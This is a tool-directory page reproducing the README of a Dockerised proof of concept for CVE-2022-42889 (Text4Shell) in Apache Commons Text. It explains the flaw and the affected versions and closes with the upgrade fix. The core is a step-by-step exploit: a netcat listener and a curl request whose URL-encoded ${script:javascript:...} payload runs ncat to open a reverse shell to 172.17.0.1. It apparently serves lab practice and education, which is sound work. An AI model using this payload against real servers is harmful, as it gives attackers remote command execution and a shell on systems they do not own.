Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-42889-POC — A simple dockerize application that shows how to exploit the CVE-2022-42889 vulnerability. | Kitploit
Tools/GitHubGitHub/akshayithape-devops/cve-2022-42889-poc
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHubakshayithape-devops/cve-2022-42889-poc

CVE-2022-42889-POC

A simple dockerize application that shows how to exploit the CVE-2022-42889 vulnerability.

View Repository
5143 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-42889-POC

Proof of Concept for the Apache commons-text vulnerability CVE-2022-42889.

What's the Issue :

Apache Commons Text performs variable interpolation, allowing properties to be dynamically evaluated and expanded. The standard format for interpolation is "${prefix:name}", where "prefix" is used to locate an instance of org.apache.commons.text.lookup.StringLookup that performs the interpolation. Starting with version 1.5 and continuing through 1.9, the set of default Lookup instances included interpolators that could result in arbitrary code execution or contact with remote servers. These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers Applications using the interpolation defaults in the affected versions may be vulnerable to remote code execution or unintentional contact with remote servers if untrusted configuration values are used.

Affected Versions :

Apache Commons Text Version 1.5 To 1.9

Step by Step guide to show vulnerability :

CVE-2022-42889-POC

1. Build the application using Docker(Terminal Tab 1)

root@kitploit:~
docker build --tag=test/text4shell .

2. Run the application(Terminal Tab 2)

root@kitploit:~
docker run -it -p 80:8080 --name text4shell test/text4shell

3. Open new terminal tab and run below command(Terminal Tab 3)

root@kitploit:~
docker exec -it text4shell /bin/bash

4. Now it time to start listener for reverse shell on your local system(Terminal Tab 4)

root@kitploit:~
nc -nlvp 8888

5. Test the app (Terminal Tab 5)

root@kitploit:~
curl http://localhost/text4shell/attack?search=<anything>

6. Now it time to test attack (Terminal Tab 5)

Attack can be performed by passing a string "${prefix:name}" where the prefix is the aforementioned lookup: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}

root@kitploit:~
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D

7. On go to the Terminal Tab 3 and execute below commands one by one

root@kitploit:~
pwd
cd /root
pwd
ls

8. On go to the Terminal Tab 5 and execute below commands one by one

root@kitploit:~
pwd
cd /root
pwd
ls
touch hacked.txt
ls

9. On go to the Terminal Tab 3 and execute below commands one by one

root@kitploit:~
pwd
ls

If you able to see hacked.txt file on Terminal Tab 3 after ls command. The attack is executed.

10. Close all the terminals

How to fix this vulnerability :

Users are recommended to upgrade to Apache Commons Text 1.10.0, which disables the problematic interpolators by default.

More Informations :

  • NVD-NIST
Download Tool